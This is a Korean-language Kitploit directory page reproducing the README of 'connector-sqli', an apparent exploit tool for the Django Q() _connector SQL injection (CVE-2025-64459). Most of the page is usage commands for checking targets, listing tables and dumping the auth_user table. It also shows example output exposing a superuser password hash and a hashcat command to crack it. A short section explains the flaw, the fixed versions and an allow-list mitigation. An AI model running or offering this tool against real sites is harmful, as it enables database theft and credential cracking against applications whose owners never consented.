Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
RedTeamBrasil-CVE-2025-64459 — NEO-SQLi — Django _connector SQL Injection (CVE-2025-64459) 익스플로잇 | RedTeam Brasil 채널 | Kitploit
도구/GitHubGitHub/rafaelchriss/redteambrasil-cve-2025-64459
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHubrafaelchriss/redteambrasil-cve-2025-64459

RedTeamBrasil-CVE-2025-64459

NEO-SQLi — Django _connector SQL Injection (CVE-2025-64459) 익스플로잇 | RedTeam Brasil 채널

저장소 보기
12개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

connector-sqli

Django ORM의 SQL 인젝션 자동 익스플로잇
Q-object _connector · CVE-2025-64459

cve django python license

🎥 RedTeam Brasil 채널 — 포르투갈어로 실전 공격 보안.

root@kitploit:~
   ██████╗ ████████╗██████╗    connector-sqli
   ██╔══██╗╚══██╔══╝██╔══██╗   Django Q() `_connector` SQLi
   ██████╔╝   ██║   ██████╔╝   CVE-2025-64459
   ██╔══██╗   ██║   ██╔══██╗   RedTeam Brasil 채널
   ██║  ██║   ██║   ██████╔╝   youtube.com/@RedTeamBrasil
   ╚═╝  ╚═╝   ╚═╝   ╚═════╝    승인된 사용만 허용

📌 취약점 정보 — CVE-2025-64459

Django ORM은 Q() 객체로 필터를 구성합니다. 생성자 Q(*args, _connector=None, _negated=False, **kwargs)는 특별한 kwargs **_connector**를 받습니다 — WHERE 내 조건을 연결하는 문자열(AND/OR).

영향을 받는 버전에서는 이 값이 검증되지 않고 SQL에 그대로 들어갔습니다. 애플리케이션이 사용자 입력을 딕셔너리 확장을 통해 Q() / .filter() / .exclude() / .get()에 직접 전달할 때 — 전형적인 안티패턴:

root@kitploit:~
# ❌ 취약함
posts = Post.objects.filter(Q(**request.GET))     # 또는 .filter(**request.GET)

…공격자는 _connector를 제어하고 조건 사이에 임의의 SQL을 주입할 수 있습니다 (SQLite, PostgreSQL, MySQL 등에서 동작).

항목세부사항
CVECVE-2025-64459
구성 요소django.db.models — Q() / QuerySet (_connector 및 컬럼 별칭)
영향받는 버전Django < 4.2.26, < 5.1.14, < 5.2.8
수정4.2.26 / 5.1.14 / 5.2.8(이후)로 업데이트
영향데이터베이스 임의 읽기(UNION/blind) → 자격 증명 덤프 및 체인 확장

DEBUG = True인 경우 익스플로잇이 쉬워집니다: Django 오류 페이지가 구성된 SQL, 기본 테이블, 컬럼 수를 반환합니다 — 도구가 자동으로 UNION을 구성하는 데 필요한 정확한 정보입니다.


⚡ 기능

일반적인(특정 대상에 국한되지 않음) 자동화된 익스플로러:

  • 🧭 엔드포인트를 자동으로 찾음 (--auto): 홈페이지 크롤링 + robots/sitemap + 내장 워드리스트로 각 경로를 Django의 FieldError로 테스트.
  • 🔎 취약한 엔드포인트와 DEBUG=True를 FieldError로 감지.
  • 🧠 오류 페이지의 SQL을 읽어 기본 테이블과 컬럼 수를 자동 발견.
  • 🎯 마커로 반영된 컬럼 찾기 → 구분자로 추출 (페이지 렌더링 방식과 무관).
  • 🗃️ 테이블 목록 → 컬럼 목록 → 모든 테이블 덤프 (UNION 기반).
  • 🐚 대화형 모드 (메뉴: 테이블 → 컬럼 → 덤프).
  • 🧪 프록시 (Burp/mitmproxy, --proxy 사용) 및 HTTPS 대상.

🚀 설치

root@kitploit:~
git clone https://github.com/rafaelchriss/RedTeamBrasil-CVE-2025-64459.git
cd RedTeamBrasil-CVE-2025-64459
pip install -r requirements.txt
chmod +x rtb_connector_sqli.py

🎮 사용법

root@kitploit:~
# 1) 취약점 확인
python3 rtb_connector_sqli.py -u http://ALVO check

# 2) 테이블 목록 조회
python3 rtb_connector_sqli.py -u http://ALVO tables

# 3) 특정 테이블의 컬럼 목록 조회
python3 rtb_connector_sqli.py -u http://ALVO columns auth_user

# 4) 덤프 (특정 컬럼 또는 전체)
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --cols username,password,is_superuser
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --where "is_superuser=1"

# 5) Django 사용자 바로가기
python3 rtb_connector_sqli.py -u http://ALVO users

# 6) 자유 SQL 표현식
python3 rtb_connector_sqli.py -u http://ALVO query "sqlite_version()"

# 7) 대화형 모드 (메뉴: 테이블 → 컬럼 → 덤프)
python3 rtb_connector_sqli.py -u http://ALVO shell

# 8) 경로를 모르겠다면? 자동 탐색
python3 rtb_connector_sqli.py -u http://ALVO auto              # 탐색 및 목록만
python3 rtb_connector_sqli.py -u http://ALVO --auto shell      # 탐색 후 즉시 익스플로잇

--auto (또는 auto 서브커맨드)를 사용하면 홈페이지 크롤링 + robots.txt/sitemap.xml + Django의 FieldError를 반환하는 경로를 찾기 위해 내장 워드리스트(EN + PT-BR + API)를 실행합니다. 잘못된 --path를 전달하면 자동으로 탐색 모드로 전환됩니다.

옵션

플래그설명
--path /buscar취약한 엔드포인트 (기본값 /list)
--auto엔드포인트 자동 탐색 (크롤링 + 워드리스트)
--wordlist rotas.txt탐색에 추가할 경로 파일 (한 줄에 하나)
--base app_model기본 테이블 강제 지정 (자동 감지 실패 시)
--proxy http://127.0.0.1:8080모든 트래픽을 Burp / mitmproxy로 전송
root@kitploit:~
# Burp를 통해 전송
python3 rtb_connector_sqli.py -u http://ALVO --proxy http://127.0.0.1:8080 users

# 또는 환경 변수 사용 (플래그 없이)
export HTTP_PROXY=http://127.0.0.1:8080 HTTPS_PROXY=http://127.0.0.1:8080
python3 rtb_connector_sqli.py -u http://ALVO shell

🖥️ 출력 예시

root@kitploit:~
[*] 대상: http://ALVO/list
[+] 모델 필드 (6개): author, content, created_at, id, status, title
[+] `_connector`에서 SQLi 확인됨 (CVE-2025-64459). near "'RTB'": syntax error
[+] 기본 테이블: <app>_<model>   ·   SELECT 컬럼 수: 6
[+] 반영된 컬럼 (읽기 가능): 위치 4
┌── auth_user (N)
│ admin | pbkdf2_sha256$600000$<salt>$<hash>= | is_superuser=1 | admin@target
└──

슈퍼유저 해시를 획득한 후:

root@kitploit:~
hashcat -m 10000 hash.txt rockyou.txt      # Django는 pbkdf2_sha256 사용

🛡️ 해결 방법

  1. Django 업데이트 (4.2.26 / 5.1.14 / 5.2.8+).
  2. request.GET을 Q()/.filter()에 절대 직접 전달하지 마세요. 허용 목록 사용:
    root@kitploit:~
    ALLOWED = {"title__icontains", "status"}
    safe = {k: v for k, v in request.GET.items() if k in ALLOWED}
    Post.objects.filter(**safe)
    
  3. 프로덕션 환경에서 DEBUG = False (SQL/테이블/설정 노출 방지).
  4. 데이터베이스 사용자에게 최소 권한 부여.

⚖️ 법적 고지

교육용 및 승인된 테스트 (랩, CTF, 범위 내 버그 바운티, 계약된 침투 테스트) 전용 도구입니다. 명시적 승인 없이 시스템에 사용하는 것은 범죄입니다 — 모든 책임은 사용자에게 있습니다.


RedTeam Brasil 제작 · 마음에 드셨다면 좋아요와 채널 구독 부탁드립니다.

도구 다운로드